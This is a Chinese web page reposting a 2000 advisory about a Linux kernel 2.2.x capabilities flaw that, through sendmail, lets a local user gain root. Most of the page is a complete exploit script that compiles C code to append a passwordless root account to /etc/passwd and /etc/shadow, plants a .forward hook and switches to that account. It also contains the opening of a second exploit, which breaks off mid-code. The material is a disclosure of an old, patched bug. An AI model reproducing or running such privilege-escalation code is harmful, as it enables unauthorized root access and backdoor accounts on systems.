手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>服务器技术>安全防护>列表

Linux 内核Capabilities漏洞导致本地用户获取root权限

来源:互联网 作者:西部数码 时间:2008-04-09
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!
Linux 内核Capabilities漏洞导致本地用户获取root权限

发布日期:2000-06-10
更新日期:2000-06-11

受影响系统:

Linux kernel 2.2.x (x<16)
sendmail 8.10.1以及更低版本
procmail
不受影响系统:

Linux kernel 2.2.16

描述:

POSIX中的"Capabilities"(能力,权限)在Linux kernel中已经得到实现。利用"Capabilities"
可以对授权进程进行更为精确的控制,通过指定某些"Capabilities",从一些程序中获得的访问权
限只能到达程序要求到达的部分,这无疑是一个安全措施。问题是"Capabilities"在fork()子进
程时可以被复制,这意味着如果"Capabilities"在父进程中被设置,就会被传递给子进程。如果
在父进程中将CAP_SETUID的能力禁止,那么子进程将不能执行setuid()调用。这就可能带来一个
安全问题,如果在子进程中执行sendmail,在sendmail想用setuid(getuid())丢弃掉root权限时,
它就不能真正的完成这个操作,因此sendmail就会仍然以root权限运行,攻击者可能利用.forward
来获取root权限。实际上,所有设置了setuid/setgid属性的程序都可能存在被攻击的可能。

<* 来源:Wojciech Purczynski (wp@elzabsoft.pl)
Gerrie <gerrie@hit2000.org>
Peter Van Dijk <petervd@vuurwerk.nl>
Christophe GRENIER (grenier@nef.esiea.fr)
Kyle Sparger (ksparger@dialtoneinternet.net)
*>






测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

========================= bug_kernel.sh BEGIN ===================================
#!/bin/sh
echo Exploit for capability bug using sendmail
echo 8 june 2000 - Christophe GRENIER
echo grenier@nef.esiea.fr
echo http://www.esiea.fr/public_html/Christophe.GRENIER
echo
export BINDIR=$HOME
cat > add.c <<EOF
#include <fcntl.h>
#include <unistd.h>

int main (void)
{
int fd;
char string[40];
seteuid(0);
chmod("/etc/passwd",0644);
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
if(fd>0)
{
strcpy(string, "kmaster0:x:0:0::/root:/bin/sh\n");
write(fd, string, strlen(string));
close(fd);
}
chmod("/etc/shadow",0600);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
if(fd>0)
{
strcpy(string, "kmaster0::11029:0:99999:7:::\n");
write(fd, string, strlen(string));
fchmod(fd,0400);
close(fd);
}
return 0;
}
EOF
cat > ex.c <<EOF
#include <stdlib.h>
#include <unistd.h>
#include <linux/capability.h>

int main (void)
{
cap_user_header_t header;
cap_user_data_t data;
header = malloc(8);
data = malloc(12);
header->pid = 0;
header->version = _LINUX_CAPABILITY_VERSION;
data->inheritable = data->effective = data->permitted = 0;
capset(header, data);
execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
return 0;
}
EOF
gcc -o $BINDIR/add add.c
gcc -o ex ex.c
chmod 755 $BINDIR/add
chmod 711 $BINDIR
cat > mail.msg << EOF
From: $USER
To: $USER
Subject: exploit
pipo
EOF
echo "\"|exec $BINDIR/add || exit 75 #GRENIER\"" > ~/.forward
chmod 600 ~/.forward
./ex < mail.msg
echo Waiting a little bit...
sleep 3
echo Cleaning
rm -f mail ex ex.c $BINDIR/add add.c ~/.forward
su - kmaster0
========================= bug_kernel.sh END ===================================


=========================== smlnx BEGIN =======================================
#!/bin/sh

echo " ----------------------------------------------------------- "
echo "| Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1 |"
echo "| local root exploit |"
echo "| |"
echo "| Bugs found and exploit written by Wojciech Purczynski |"
echo "| wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet |"
echo " ----------------------------------------------------------- "

TMPDIR=/tmp/foo
SUIDSHELL=/tmp/sush
SHELL=/bin/tcsh

umask 022
echo "Creating temporary directory"
mkdir -p $TMPDIR
cd $TMPDIR

echo "Creating anti-noexec library (capdrop.c)"
cat <<_FOE_ > capdrop.c
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>
_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!